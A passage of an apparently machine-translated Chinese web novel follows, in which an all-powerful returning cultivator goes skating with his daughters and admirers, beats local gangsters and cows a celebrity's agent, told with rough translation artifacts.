    The fat aunt who was packing things in the room heard these words and was taken aback for a while before sighing: "Silly girl, your brother Xiao An is not an ordinary person!"

 Chapter 22： You said I touched you?

    The night is quiet.


    The cold moonlight shines through the window into the living room, and then is absorbed by a ring floating in the air.


    This is the ring that was broken by Hong Ming, but at this moment, as the moonlight gradually penetrated, the cracked ring began to gradually repair.


    Gradually.


    The crack disappeared, and the shape of the entire ring became crystal clear.


    Xue An''s heart moved, and he engraved a miniature bodyguard circle on it.


    After a white light flashed, the ring fell.


    At this moment, this stall ring, which is only a few dollars, has greatly changed, and a little red light is faintly revealed on the clear and transparent gem.


    This is Xue An��s aura of adding it.


    The bedroom door creaked open.


    Fan Mengxue came out.


    "Are you still asleep?" Xue An said lightly.


    Fan Mengxue shook his head, walked to Xue An, sat down very naturally, and then lightly leaned his head on Xue An''s shoulder.


    The snoring of two little girls can be heard quietly in the room.


    Xue An suddenly felt a chill on his shoulders, and looked down.


    Fan Mengxue��s beautiful face was full of tears.


    Xue An sighed and took out the ring that had just been refined.


    "happy Birthday!"


    Fan Mengxue''s heart is full of grievances at the moment.


    For Xue An, she had suffered so much and endured so much pressure, but when she finally saw it, she found that Xue An had even children and she was still a twin daughter.


    This doesn''t count.


    At today''s class reunion, Xue An has never paid much attention to himself.


    Could it be that he saw that he was coming with Hong Ming, and there was a gap in his heart?


    But the reason why I do this is for you!


    Fan Mengxue tossed and turned, then quietly got up and came out to see what Xue An was doing.


    And the appearance of this ring made most of Fan Mengxue''s grievances disappear.


    "Do you like it?" Xue An smiled slightly.


    Fan Mengxue gave a low hmm, and after playing around with it, she cherished it and put it on her right ring finger.


    Xue An saw this scene, his expression moved slightly, and then his eyes turned away.


    "In the past four years, how have you been?" Xue An said.


    Fan Mengxue shook his head, "Not good!"


    After a while of silence, Xue An asked again: "How come you suddenly became a star?"


    Fan Mengxue sighed softly, "Because there are many, but the most important thing is to become famous as soon as possible. In this case, although you are missing, as long as you turn on the TV, you can still see me!"


    Xue An was silent for a moment, "Sorry, these four years..."


    Fan Mengxue suddenly kissed Xue An''s lips.


    This sudden kiss made Xue An feel a little at a loss.


    Three thousand years of practice has allowed him to see countless big scenes.


    To put it bluntly, he has been to the place where the heavenly fairies take a bath more than once.


    I have never been so panicked.


    kiss.


    Fan Mengxue whispered in Xue An''s ear: "Don''t say sorry, you are still alive, this is the best explanation!"


    After talking, Fan Mengxue sat back on the sofa, stretched a long waist, and put a pair of big legs on the coffee table unscrupulously.


    "What are you going to do tomorrow?" Fan Mengxue asked softly.


    "No plan!"


    "Let''s go and play for a day with thoughts and thoughts!"


    Xue An looked at the girl who seemed to have stars in her eyes and nodded.


    Fan Mengxue''s head rested on Xue An''s shoulder, and gradually fell asleep.


    Before going to bed, she asked softly.


    "She must be beautiful!"


    Xue An did not answer.


    the next day.


    in front of a high school in Beijiang.


    Xue An looked up at the school gate.


    He is very familiar with this place.


    Because this is where he studied for three years.


    Fan Mengxue wears a hat and is in a good mood.


    Tang Xuan''er led Xue Xiang and Xue Nian.


    Three big, two small and five people are like a small tour group.


    "Baba, where is this place?" Xue Xiang looked at the school gate and asked puzzledly.


    Xue An smiled, "Here...this is where my father used to go to school!"


    "Is there anything delicious in there?" Xue Nian always couldn''t do without this.


    Xue An laughed blankly, Xue Xiang unceremoniously squeezed his sister''s small face.


    "Eat, eat, you know how to eat! See how fat you are!"


    Xue Nian lowered his head a little aggrieved, and then whispered in a low voice: "Your face seems to be rounder!"


    "Alright! Let''s go!" Fan Mengxue said.


    Xue An was a little surprised, "Aren''t you going in?"


    Fan Mengxue shook his head, "I''m here to see if this ruined school has been demolished, so I don''t bother to go in and waste time!"


    "Where shall we go now?" Tang Xuan''er asked.


    "Go skating! It''s been a long time!" Fan Mengxue said excitedly.


    This is a natural ice skating rink.


    The frozen lake is full of people galloping horizontally and horizontally.


    Fan Mengxue used to come here to play when she was in school.


    "Baba, there are people selling Peppa Pigs!" Xue Xiang and Xue Nian''s eyes beamed.


    "I''ll take them to buy!" Tang Xuaner said.


    "I will go too! Xue An, you are queuing here!" Fan Mengxue said.


    This natural skating rink does not require tickets, but skates need to be rented.


    Xue An is waiting here to line up.


    But at this moment, a woman naturally inserted in front of him.


    Xue An frowned slightly and patted the woman in front of her on the shoulder. UU reading www.uukanshu. com


    "Hey!"


    The woman turned her head impatiently, she was pretty good, about a seven-point look, but the putty on her face was a centimeter thick, and she would drop the scum as she spoke.


    "what happened?"


    "Line up!" Xue An said lightly.


    "What''s wrong with joining the team? A big man, can''t you let us girls?" The woman was still plausible.


    At this moment, many people are looking here.


    Xue An looked indifferently, "I asked you to line up, didn''t you hear?"


    The woman was a little angry, and then she rolled her eyes and immediately turned into a wronged look.


    "You have been behind me sneakily since just now, and when you line up, you still use your hands, you are perverted!"


    The eyes of the onlookers suddenly changed, and many people looked at Xue An with disdain.


    "It looks pretty, how do you do such a thing?"


    "Yes! This man is also a little disgusting!"


    These comments made the seven-cent girl very proud, but the expression on her face became more and more pitiful.


    This is her tried and tested trick. Sometimes when she takes the bus, although she is ignored at all, she will use this trick as long as she looks unpleasant.


    often makes the other party unable to argue.


    Xue An raised an eyebrow amidst these discussions, "Oh? You said I touched you?"


    "Yes! Not only did you touch me, but you followed me all the time!" The seven-cent girl''s arrogance became more and more arrogant.


    Xue An asked with a faint smile, "Then where did you say I touched you?"


    "Waist!" The seven-pointed female said decisively.


    But she also saw Xue An''s eyes at this time. It was a contemptuous look that made her a little frightened.

 Chapter 23： Fireworks in the world are not as good as you!

    "Just touched the waist?" Xue An said lightly.


    The seven-minute girl was a little flustered, but she started crying as she did the fake.


    A woman��s cry is very sympathetic.


    Especially this seven-point girl looks pretty good, so many boys onlookers glared at Xue An.


    A few even geared up, eagerly thinking of a "hero save the beauty".


    A scornful smile appeared at the corner of Xue An��s mouth, ��Do you think that you are very touching when you cry? Or... you think you are very beautiful?��


    These questioning words made the seven-minute girl cry even more sad, but her heart settled down.


    actually said this in front of so many people, wait for it to be sprayed!


    As expected.


    Several boys dressed up as students filled in indignantly: "How do you speak? You touched other people''s little girls wretchedly, and now you still scold them?"


    "That''s right! It''s not a man!" Some onlookers also pointed.


    Xue An looked at the group of people and said lightly: "If I really want to touch it, do you think... I can see such a thing?"


    ''S words aroused public outrage.


    "If you touch someone, you still dislike them? There are such men in the world?" Many onlookers shouted loudly.


    The seven-minute girl squatted on the ground with a smug smile on her face.


    Now, are you dead?


    can be at this time.


    A cold and beautiful female voice came, "Xue An, what''s wrong?"


    Just listening to this sound is enough to make many boys feel excited.


    Then, Tang Xuan''er and Fan Mengxue came over together.


    The appearance of the two of them made the audience silent.


    Tang Xuan''er did not wear a long skirt today, but a pair of jeans and a white down jacket on her upper body.


    Such a dress makes her look very young and moving.


    While Fan Mengxue wore an exquisitely crafted white long skirt, the slender and moving curves were visible.


    Although wearing a mask, I can''t see the facial features, but only by looking at the picturesque eyebrows, I can imagine that this is definitely a big beauty.


    These two beauties with a minimum of nine points make many boys look straight.


    Especially Tang Xuan''er and Fan Mengxue don''t like heavy makeup. They are all light powder, which makes them more elegant.


    Compared with them, the seven-century girl who squatted on the ground was not much better.


    "What''s wrong?" Fan Mengxue asked with concern.


    She rushed over when she heard the dispute.


    Xue An smiled slightly, "It''s okay, just someone said I harassed her!"


    "Who?"


    Xue An pointed to the seventy-cent girl who had fallen into a petrified state on the ground.


    "It''s her!"


    At this time, Xue Xiang and Xue Nian said in unison: "This aunt... is so ugly!"


    This evaluation is also the voice of most people present at the moment.


    People are incomparable.


    Just a seventh girl still makes many men who have never seen the world feel very beautiful.


    Compared with Tang Xuan''er and Fan Mengxue, they are not as good as the rocks in the pit.


    Fan Mengxue couldn''t help but laughed at this time, his eyes turned into beautiful crescent shapes.


    "Husband, she said you harassed her?"


    While talking, Fan Mengxue naturally took Xue An''s arm.


    This time, everyone understood.


    It turns out that this beautiful and incomprehensible girl is the man''s girlfriend!


    So no one believed the words of the seventh-century girl.


    joke.


    You have all butter cakes, do you still eat shit?


    A few of the fiercest people who clamored just now not only lowered their heads in shame, but also a few glared at the seventies.


    thinks that this woman is framing people for no reason.


    At this moment, the seven-cent girl only felt panic in her heart.


    She never expected that this man would have such a beautiful girlfriend.


    Compared with other people, this face that I made out of a lot of money is simply ugly!


    At this moment, many boys look disappointed.


    But there are still many people watching Tang Xuan''er secretly.


    Compared with Fan Mengxue wearing a mask, Tang Xuan''er, who is facing the sky, looks gentler and quieter.


    But Fan Mengxue''s next sentence ruthlessly shattered these people''s fantasy.


    "Sister, this woman actually slanders our husband!"


    We...husband?


    After this strange title.


    Everyone''s eyes looked at Xue An changed.


    There are shocked and jealous, but more are still envious.


    Tang Xuan''er blushed, lowered her head and stopped talking.


    Xue An was a little helpless, this Fan Mengxue, sometimes really strange.


    Then Xue An turned his head and looked at the seven-minute girl.


    "Now, did you say I touched you?"


    The seventh girl was shocked and she was still thinking about quibbling, but Xue An''s eyes made her fall into an ice pit, and then involuntarily said: "No...no!"


    Xue An said lightly: "Do you know what''s wrong?"


    "Know it was wrong!"


    "Then slap yourself twenty times!"


    Xue An left after taking Xue Xiang and others.


    Seeing that Xue An is gone, the seven-minute girl couldn''t help but breathe a sigh of relief, and then she was fortunate in her heart to let me slap me? Why do I listen to you so much?


    But as soon as she thought of getting up, she felt her hand stretched out involuntarily, and then slapped herself heavily The strength of this fan made the seventy-minute girls feel dizzy.


    But before he could react, he slapped his other hand again.


    Happiness!


    After twenty slaps, the seven-minute girl''s face was swollen like a ball, and her carefully crafted nose was also slanted.


    No one sympathized with her at this time, and they all looked at her with disgust.


    The seven-minute girl got up, glanced bitterly at Xue An''s back, and ran away.


    After this episode, Xue An led Fan Mengxue and others to start skating.


    Fan Mengxue''s skating skills are good, but Tang Xuan''er has no experience, and she has to wrestle with shoes.


    Xue An is not there either.


    But with his ability, this little thing doesn''t bother him at all, so he took Tang Xuan''er''s hand to teach her.


    As for Xue Xiang and Xue Nian, the two of them were sitting on a sled and playing with some sled dogs.


    The sky in winter was very short, and soon the sky gradually dimmed.


    This afternoon, Fan Mengxue was having fun. She was sitting next to Xue An, panting, her face still flushed.


    "Tired?" Xue An said.


    Fan Mengxue shook his head, "I''m not tired!"


    Xue An looked at Tang Xuan''er who was toddler not far away, smiled and said, "Are you happy?"


    "Of course I am happy! This is my happiest day in four years!"


    At this moment, the landscape lights on the ice surface are lit.


    Those mazes and castles made of ice are shining in the light of this light, like a kingdom of ice and snow.


    "It''s so beautiful!" Fan Mengxue said with blurred eyes.


    Xue An nodded.


    Although I have seen a landscape ten thousand times greater than this, Xue An at this moment feels that this world of fireworks is actually very beautiful!

 Chapter 24： Does it sound good? Good sound is good bone!

    "Baba, Baba, do you think we are great?" Xue Xiang and Xue Nian were wearing the smallest pair of skates and slid in front of Xue An.


    Xue An smiled, "So amazing! I learned it so quickly!"


    "Yes, but Aunt Xuan''er is so stupid, I haven''t learned it yet!" Xue Xiang said.


    Tang Xuan''er, who was learning to skate hard not far away, blushed.


    "You are not allowed to say that, Aunt Xuaner." Xue An said.


    The blush on Tang Xuan''er''s face disappeared a little now.


    I don��t want Xue An to say immediately: "Even if you are really stupid, you can''t say it!"


    Xue Xiang and Xue Nian were amused.


    Tang Xuan''er glared at Xue An with some dissatisfaction, and then hobbled away.


    this moment.


    In a far corner, a few pairs of eyes are looking at Xue An and others.


    "Is that him?" The leader was a somewhat bald middle-aged man.


    The seven-minute girl nestled beside him and nodded bitterly, "That''s the man!"


    "Hey, these two girls are really good!" said the bald man narrowly.


    "Brother Dajun, you have to call me the shots! My face is swollen, and my nose is slanted!" said the seven-minute girl very aggrieved.


    This big army brother is a local snake in this area, relying on the monopoly of the ice skating business, the mix is ??not bad.


    Seventh-century girl knew him, and after Xue An cleaned up today, she came to look for the army, hoping to breathe out.


    The army nodded, "It''s easy to say, I''m so tired of people who dare to mess with me!"


    As soon as the army winked, the dozen or so people behind him came to Xue An calmly.


    The people who often come here for skating know this group of people, know that they are ground snakes, and they all avoided.


    So soon, this group of people surrounded Xue An and others faintly.


    Xue An has been joking with his two daughters, and seems not to notice the abnormality.


    The army came forward and said to Tang Xuan''er first: "Yo, little sister, can''t you slip? Brother teaches you!"


    just move forward.


    Tang Xuan''er frowned and hid aside.


    "Who are you? I don''t know you, please stay away from me."


    Hu Dajun grinned, showing his big yellow teeth.


    "My little sister is so watery, isn''t it boring to skate by herself? It doesn''t matter who I am, the important thing is such a night, shouldn''t you be accompanied by a man?"


    Hu Dajun said, while greedily watching Tang Xuan''er.


    This girl is beautiful enough from a distance, but when she gets closer, she realizes that she is even more beautiful.


    Tang Xuan''er was disgusted by his wretched eyes, and she couldn''t help but said coldly: "Again, please stay away from me! And I have friends with me."


    Hu Dajun grinned, "Friend? Is that just him?"


    Hu Dajun pointed to Xue An not far away, and said with a disdainful face: "Your friend is so scared that he doesn''t even dare to look straight here. Do you think he dare to come forward?"


    "And I tell your little sister, your friend, who beat me! I''m about to find him to settle accounts!" Hu Dajun said arrogantly.


    Tang Xuan''er''s face turned pale, her silver teeth clenched, and she was a little worried in her heart.


    These people obviously came here prepared, especially when she saw the spiteful-looking seventh-century girl, she knew she was here to retaliate.


    Xue An brought herself, Fan Mengxue, and two little girls. Will it be the opponent of so many people?


    "Hey, so if you are obedient, my brother will love you well and won''t embarrass you!" Hu Dajun said as he salivated and stretched out his hands.


    A white light.


    Hu Dajun felt a cold wrist, and it seemed that something was missing.


    Then he looked down, only to realize that his **** were broken at the wrist.


    Blood spurted out, and Hu Dajun let out a miserable cry of pain.


    "I just heard that you want me to settle the account?" Xue An walked over slowly, with a playful smile on his face.


    Fan Mengxue already took Xue Xiang and Xue Nian to one side.


    Because she knows, the next picture is definitely not suitable for children.


    "You...you..." Hu Dajun was trembling in pain, but a look of horror appeared on his face.


    He didn''t even know what happened just now, why did his hand suddenly break?


    Could this man do it?


    Xue An''s eyes shifted to the seven-cent girl, "I was in a good mood, so I let you go, but if you are looking for death, you can''t blame others!"


    Seventh-cent women shook like chaff.


    Hu Dajun gritted his teeth secretly, "Give it to me, I''ll give up this kid!"


    The group of his men swarmed up and surrounded Xue An.


    Xue An carried his hands on his back, looked up at the sky, a faint smile appeared at the corner of his mouth.


    "Xuaner!"


    "Ok?"


    "You are a doctor, do you know what kind of bones are good bones?"


    Tang Xuan''er was a little unclear, so she shook her head and said, "I don''t know!"


    "Then I will tell you now!"


    Xue An said, pushing out with a palm, and was slapped on the gangster who rushed to the front.


    With a sour fracture sound, the gangster was blown away more than ten meters away.


    More than a dozen gangsters, UU reading only took Xue An less than ten seconds.


    And without exception, Xue An interrupted his hands and feet.


    The sour sound of fractures is endless.


    After the last gangster was stepped on by Xue An, Xue Ancai said faintly: "Did you hear the sound of these fractures? If it sounds good, it is a good bone!"


    Then Xue An looked at Hu Dajun shivering and smiled, "Now it''s your turn!"


    Hu Dajun is almost crying.


    Who would have thought that this man, who is not burly, would be so powerful?


    Within a few seconds, he knocked all his people down.


    "You... don''t come here, I''m from Brother Kun, did you know that Brother Kun? That''s the celebrity under the hands of Mr. Du. If you dare to beat me, be careful of Brother Kun to clean up you!" Hu Dajun said more. The more emboldened in my heart.


    Yes indeed!


    Brother Kun is here right now?


    Pulling out his banner, who dares not follow?


    But Hu Dajun didn''t see a trace of panic from Xue An''s face, and only a touch of sarcasm.


    "Brother Kun? Lu Kun?"


    "Yes! You know Brother Kun too? Then don''t you hurry down on your knees and beg for mercy! I tell you, Brother Kun is here now!" Hu Dajun''s waist couldn''t help but straightened.


    Xue An smiled faintly, "Well, I will give you five minutes, you call Lu Kun over, and I will apologize to him in person!"


    "Huh! You know you!" Hu Dajun took out his cell phone and dialed the phone.


    "Brother Kun, I am a big army! I am here at the skating rink. There is a kid who is very arrogant. He beat a dozen of us. Come here!"


    Lukun��s voice came through the phone, "Who is so bold? The one who dares to hit me, let him wait, I will be there soon!"

 Chapter 25： Met Mr. Xue!

    Hu Dajun hung up the phone and looked at Xue An triumphantly.


    At this moment, there are still many onlookers who are quietly discussing.


    "Who is this man? Such a bold man, who dares to fight the army?"


    "I don''t know! But it''s amazing!"


    "Gosh, this man is so handsome!"


    "Shhh, keep it quiet, this Hu Dajun is not a good crop, there are people behind him, I heard it is the famous brother Kun from Beijiang!"


    Many people are worried for Xue An, and a few brave people can''t help but shout: "Hey, buddy, run quickly, heroes don''t suffer from immediate losses!"


    "Yes, buddy, you are still taking your girlfriend with you! Go away, that Kun brother is not easy to mess with!"


    Xue An was not moved by it, just smiled at these people, and then said faintly: "It''s okay, I want to see how good this brother Kun is!"


    Some veterans can''t help but shook their heads, "Young people, just too aggressive!"


    As he was talking, Lu Kun arrived with someone.


    Lukun came quickly.


    As Hu Dajun said, he now lives nearby.


    Lu Kun at this moment, full of resentment and anger.


    Because of the Dragon Emperor Terrace, I was driven out of the city by the boss Du Fan, and then came to this wilderness place, famed as watching the ice rink.


    To put it plainly, it is exile!


    This is the second one. What makes Lu Kun most distressed is his head full of hair.


    Every time I look in the mirror, Lu Kun''s heart is bleeding.


    This Xue An is really ruthless!


    There is no hair left.


    Now Lu Kun''s head is like a meaty egg, it''s smooth and can see people''s shadows.


    Can this **** grow?


    Every time I read this, Lu Kun can''t wait to cut Xue An with a thousand swords.


    But this can only be thought of in my heart.


    Because Du Fan severely warned him.


    When you see Xue An in the future, you must hide as far away as possible.


    If something goes wrong, Du Fan can''t keep him.


    So Lu Kun can only vent his breath in his heart.


    After receiving a call from Hu Dajun this time, Lu Kun just suffocated his anger and had nowhere to spread it, so he rushed to him immediately with someone.


    Hu Dajun quickly nodded and bowed to meet him, "Brother Kun! Why didn''t you wear a hat? How cold it is!"


    Lu Kun is now the most taboo to hear the hair, and he can''t even hear the hat or anything, so he glared at Hu Dajun.


    "I am willing!"


    "Yes, yes, yes! Brother Kun, look at my fingers that have been cut off. This kid is too arrogant and beat all of us to the ground."


    Lukun was full of murderous expression, "Damn, I have been too old for the past few days, and there are people looking for things everywhere. It seems that I have to kill a few!"


    said while looking in the direction Hu Dajun was pointing.


    Then...


    He was stunned.


    Because he saw Xue An standing under the light with a sneer on his face.


    "Brother Kun, it''s this kid, and that little lady is his own. First tidy up this kid, and then give this lady to Brother Kun..."


    Before Hu Dajun could finish speaking, Lu Kun slapped him in the face.


    Snapped.


    This slap fan was extremely ruthless, Hu Dajun turned directly on the ground three times, then covered his face with his hands, and looked at Lu Kun with a dumbfounded look.


    "Brother Kun, you..."


    Then Lu Kun did something that stunned everyone present.


    saw him take a few steps forward, plopped and knelt down in front of Xue An, and then said respectfully: "I have seen Mr. Xue!"


    The audience is silent.


    Hu Dajun and Qifenwo have their mouths wide open and can fit a duck egg.


    Xue An looked at Lu Kun, who was kneeling on the ground, and said lightly: "You know the current affairs."


    Lukun trembled all over, and then respectfully said: "Mr. Xue, I really didn''t know it was you. If I knew, I would have come to welcome you!"


    Xue An shook his head, "That''s not necessary, it''s your subordinates, it doesn''t seem to welcome me!"


    Lu Kun immediately jumped up and kicked Hu Dajun to the ground with his red eyes, "You have eyes and no beads, do you know who this is? This is Mr. Xue! Are you tired of life? Dare to run wild in front of Mr. Xue?"


    Hu Dajun was scared silly at the moment, and a thought suddenly flashed in his mind.


    In the past few days, Beijiang has spread a legend.


    It is said that someone beat Lu Kun violently on Dragon Emperor Terrace and made Du Fan bow his head to admit counsel. There are even rumors that this person asked the backstage of Dragon Emperor Terrace, Miss Qin''s family to come forward to receive him personally.


    Could it be... this man?


    After the thought flashed, Hu Dajun quickly got up, then knelt on the ground, banging his head.


    "Mr. Xue for my life, Mr. Xue for my life! I''m a jerk, I have no eyes!"


    This shocking reversal left many onlookers stunned.


    Looking at Hu Dajun, who used to show off his power, he knelt on the ground like a grandson begging for mercy.


    Even Lu Kun who is well-known in Beijiang has to beg for mercy honestly.


    Many people see Xue An''s eyes become complicated.


    Xue An looked at the seventy-cent girl who had fallen into a petrified state.


    "Look, I said that I was in a good mood at the time, so I let you go, but you are reluctant to find your own death! Don''t blame me!"


    The seven-pointed girl''s face was pale, UU reading Hu Dajun was furious at this time.


    Some are all because of this stinky girl!


    If it weren''t for her frustration, how could she have fallen into this situation and even broke two fingers.


    So he just slapped up.


    The nose of the seven-minute girl who had just come here was slapped again.


    Lu Kun was standing beside him with cold sweat, and he didn''t even have the courage to look up at Xue An.


    This man has left him the deepest memory.


    Xue An smiled faintly, "Actually, the appearance of your bald head is quite pleasing to the eye!"


    Lu Kun laughed more ugly than crying, "Yes, yes!"


    Xue An then pulled Tang Xuan''er up, turned and left.


    These social scum, Xue An is too exhausted to kill.


    Waiting for Xue An to leave.


    Hu Dajun approached in shock and asked, "Brother Kun..."


    "Kun, your brother, did you know that I was almost killed by you?" Lu Kun was furious.


    At this moment, in Lu Kun''s heart, he dare not even have the slightest resentment.


    Because of the few minutes just beside Xue An, Lu Kun deeply realized what murderous intent is.


    Lu Kun had no doubt that if he hadn''t seen the opportunity quickly, then he might have been in a different place now.


    Compared with that, it��s a fart to be slapped!


    Hu Dajun only dare not say anything.


    Lukun took a deep breath, and then said: "When you see this person in the future, how far you can hide, if you really can''t hide, you will kneel down and pretend to be your grandson, understand?"


    "Yes!" Hu Dajun bowed his head in response.


    "Don''t think I''m scaring you, this warning was given to me by Brother Fan himself! If you think you are better than Brother Fan, then try it!"

 Chapter 26： Acting alive is nothing more than 3 words to follow your heart!

    When I returned to the gate of Xue An��s residence, it was already very late.


    The two little girls once again fell asleep in Xue An''s arms.


    Xue An hugged them, talked and laughed with Fan Mengxue and walked home.


    As for Tang Xuan''er, she went back to the hospital dorm after dinner.


    As soon as he walked downstairs, Xue An noticed a car parked on the side of the road.


    This is a red Ferrari, and the streamlined body attracts the attention of many passersby.


    A car like ���� forms a sharp contrast with the messy surroundings.


    And when Fan Mengxue saw this car, her face changed drastically.


    At this time, the scissor-like door was opened, and a woman wearing black fishnet stockings and tight skirt got out of the car.


    This woman looks pretty good, but her face is cold and her lips are as thin as a knife.


    "Mengxue, you really are here!" the woman said coldly.


    Fan Mengxue looked very ugly, and whispered: "Sister Han."


    This woman is her agent, and also a famous iron lady in the circle, Han Yao, who is also known as Queen Caesar.


    Han Yao nodded, "Get in the car!"


    Fan Mengxue did not move.


    Han Yao frowned, "Mengxue, I hope you can think clearly, is it worth it for such a man."


    Fan Mengxue raised her head suddenly, and said seriously: "Value!"


    Han Yao''s eyes are getting worse, especially when she sees Xue An still holding two children in her arms, her face is even more incredible.


    That day, Fan Mengxue left for no reason and turned off his mobile phone, which already made the Queen Caesar angry.


    Then he drove to Beijiang personally, thinking about taking this Fan Mengxue back.


    "Mengxue, before I came, I thought it would be a great man who can turn your fascination over, but I didn''t expect him to live in such a place, even with two children!"


    Han Yao''s tone eased a little, "Women are easy to be impulsive for love, but the premise is that you have to think clearly whether all this makes sense! Such a man is not worthy of you!"


    From beginning to end, Han Yao didn''t take a straight look at Xue An.


    In Han Yao''s view, although this man looks good, he is definitely at the bottom of society in terms of his clothes and where he lives.


    Fan Mengxue''s "self-willing to fall" for such a man really made Han Yao full of anger.


    Fan Mengxue shook his head, "Sister Han, you don''t understand..."


    "Don''t understand? Haha!" Han Yao sneered, "For him, you openly announced your love affair in front of the reporter, and rejected one of the four masters of Zhongdu, Yue Shao! You know that your behavior has brought the company Is it troublesome?"


    "Now the Internet is noisy for you! Also, for him, you even gave up the opportunity to cooperate with the international director Stephen. I really don''t understand. What is good about him?"


    "He is good everywhere! At least when I was with him, I was very happy!" Fan Mengxue said firmly.


    Han Yao looked at Xue An, who was standing aside with an indifferent expression, with a mocking expression on her face.


    "Sure enough, I don''t know what kind of Ecstasy you have poured Mengxue into her to make her so desperate, but I want to ask you, what is your ability to feed her?"


    Han Yao pointed to the clothes Fan Mengxue was wearing, ��Any piece of clothing on her body is made in Europe, and even the hand cream you put on may not be bought by you at one month��s salary. I really bear the heart to let such a promising girl follow you to suffer?"


    Han Yao pointed the finger at Xue An.


    Fan Mengxue just wanted to defend Xue An, but Xue An shook her head, motioned her not to speak, and then smiled at Han Yao.


    "You seem to make sense!"


    "But... have you ever heard the saying that a dog is nosy with a mouse?"


    Han Yao was taken aback for a moment, and then she couldn''t help getting furious.


    As the eldest sister with countless resources in the circle, no one has dared to talk to her like this.


    "Boy, this is your own death!" Han Yao said coldly, and kicked it with a standard high kick.


    Xue An raised his face slightly and avoided this foot.


    He held Xue Xiang and Xue Nian with both hands, but he didn''t panic at all, just gave a faint drink.


    "Kneel down!"


    Han Yao felt that a huge force made her kneel down with a thump.


    The humiliation she had never felt before made her eyes red, and she struggled to get up.


    But everything didn''t help, Han Yao felt as if a mountain was pressing on his shoulders.


    At this moment, a trace of panic finally flashed in Han Yao''s eyes.


    Xue An stood in front of Han Yao at this time, looking at her condescendingly.


    "Actually, you are right. Mengxue is indeed a promising girl, but you made two mistakes."


    "First, I didn''t stop Mengxue from letting her go. Second, Mengxue is a living person. No one can stop Mengxue from doing what she wants."


    "Under this world, no one can do what they want!" Han Yao replied with a sneer.


    Xue An shook his head, "You are wrong, at least I can."


    Han Yao seemed to have heard Tianda��s joke, and smiled mockingly: ��Don��t think you can do the trick of a three-legged cat. This world is a world of power and moneyyou Such a person will not survive for three days in China!"


    Xue An looked at Han Yao, who was dissatisfied, and nodded slightly, "You are right, this world is indeed made up of power and money, but if I want it, no one would dare not give it!"


    Han Yao snorted, "You think you are..."


    Han Yao didn''t say the following words, because she saw Xue An''s eyes.


    It was a look without sadness or joy, not even the slightest wave of waves.


    High above, like an emperor overlooking everything.


    "I Xue An''s life is nothing more than three words to follow my heart! If anyone dares to touch my heart, then kill! One person touches my heart, I kill one person, ten people touch my heart, I kill ten people, the world If you touch my heart, then all the people in the world will be killed!" Xue An said lightly.


    ''S words made Han Yao feel chilly.


    If someone else said that, she must think this person is crazy.


    But these words came out of Xue An''s mouth, but they were so natural.


    Han Yao felt a strong fear for the first time.


    Because she felt the strong murderous aura from Xue Anshen.


    Xue An is indeed preparing to end Han Yao''s life.


    This woman may indeed be good for Fan Mengxue, but the offense between words made Xue An feel that she has no need to live in the world.


    holds life and death in one''s hand, that''s it.


    "Xue An... don''t!" Fan Mengxue suddenly shouted.


    Xue An stopped killing and looked at Fan Mengxue.


    Fan Mengxue bit her lip, "Sister Han is good to me, let her go!"


    Xue An looked at Fan Mengxue and smiled, "Okay!"


    Han Yao was relieved, and quickly got up from the ground, only then did Han Yao realize that her back was covered in cold sweat.

 Chapter 27： Sister, what is handsome?

    Who is this man? Why is there such a strong momentum?


    Han Yao was terrified in her heart.


    "Sister Han, I told you at the beginning that the reason why I wanted to be a star was to find the missing Xue An. Now that he is back, I don''t want to do this star." Fan Mengxue said.


    Han Yao trembled all over, then looked at Fan Mengxue in disbelief.


    "Do you know what you are talking about? Your acting career has just picked up, and you are waiting for endless flowers and applause, but you want to retire?"


    Fan Mengxue lowered his head and said nothing.


    Seeing Fan Mengxue��s appearance, Han Yao gritted her teeth, and then summoned the courage to say to Xue An: "Mr. Xue, I��m sorry, I take back what I said just now, but please understand. After all, Mengxue grew up as I watched. , Her withdrawal now really disappoints me."


    Xue An is noncommittal.


    Han Yao continued: "I believe you are definitely not an ordinary person, but I think a Mengxue who has achieved fame or even a world-famous will be better than a woman who only surrounds you."


    "What did you say to me for?" Xue An said lightly.


    Han Yao said, "I hope you can persuade her."


    "I just said that Mengxue is a living person. I will support what she wants to do."


    Han Yao looked at Fan Mengxue again, "Mengxue, I hope you can think clearly, and it happens that Stephen will be coming to Beijiang in the past two days. If you want to understand, I can take you to see him."


    Fan Mengxue did not say a word.


    Han Yao looked at Xue An, stopped talking, then left.


    After Xue An went upstairs to settle the two little girls, Fan Mengxue trembled: "Xue An, do you think I should go?"


    Xue An smiled slightly, "I just said that being a man is nothing more than going with your heart. You can do it if you like it, and don''t go if you don''t. It''s that simple!"


    "But..." Fan Mengxue was also struggling.


    She didn''t want to leave Xue An.


    But she also knows that Xue An''s attitude towards herself is not at all likable.


    Especially in the middle, there is an Anyan who has never met.


    This made her feel even more emboldened.


    If you can become a world-renowned star, maybe... it will make Xue An more likely to accept him.


    Fan Mengxue spent the night in entanglement.


    at last.


    The day of the auction has arrived.


    Qin Yu drove to meet Xue An early.


    When he saw Xue An still wearing his usual clothes, he couldn''t help but frown slightly.


    "Mr. Xue, don''t you have any other clothes?"


    Xue An shook his head, and said faintly: "Why? Do I have to change clothes to participate in an auction?"


    "That''s not necessary, but after all it is a gathering of many merchants in Beijiang. It is better for you and your two daughters to wear formal clothes!"


    Xue An is noncommittal.


    It was the two little girls who cheered for joy when they heard that there were new clothes on.


    Women, no matter how young they are, they are still women.


    As long as it is a woman, there is no resistance to new clothes.


    Xue An didn''t care about this, but for the sake of his two daughters, it didn''t matter.


    Fan Mengxue doesn��t have to. She came back to Beijiang this time. Although she walked in a hurry, she still brought enough to change her clothes.


    At this moment, Fan Mengxue put on a well-made cheongsam, showing grace and grace.


    Qin Yu personally drove the car and brought Xue An and others to the most upscale commercial club in Beijiang City, Yinlong Commercial Building.


    This is also the industry of Longtai Group.


    Qin Yu led Xue An to the menswear department first, and said while choosing: ��Now that time is tight, I can only choose some finished clothes first. When I have time later, I will find a master to tailor the clothes.��


    Soon, Fan Mengxue and Qin Yu chose clothes for Xue An.


    At this time, many sales ladies in the menswear department are quietly watching here.


    After all, this scene is too rare.


    Two big beauties, both in appearance and temperament, are above nine points. They are rushing to choose clothes for a rustic man.


    What is the relationship between them?


    sister and brother? Not like!


    Couple?


    A couple with a man and two women?


    Or one is a couple and the other is a mistress?


    Many sales ladies are wondering about the relationship between the three in their hearts.


    "Try these first!" Fan Mengxue whispered.


    Xue An entered the fitting room and quickly changed into a dress.


    When he walked out of the fitting room, everyone''s eyes lit up.


    Xue An was already handsome, and the three thousand years of experience gave him an inexplicable temperament.


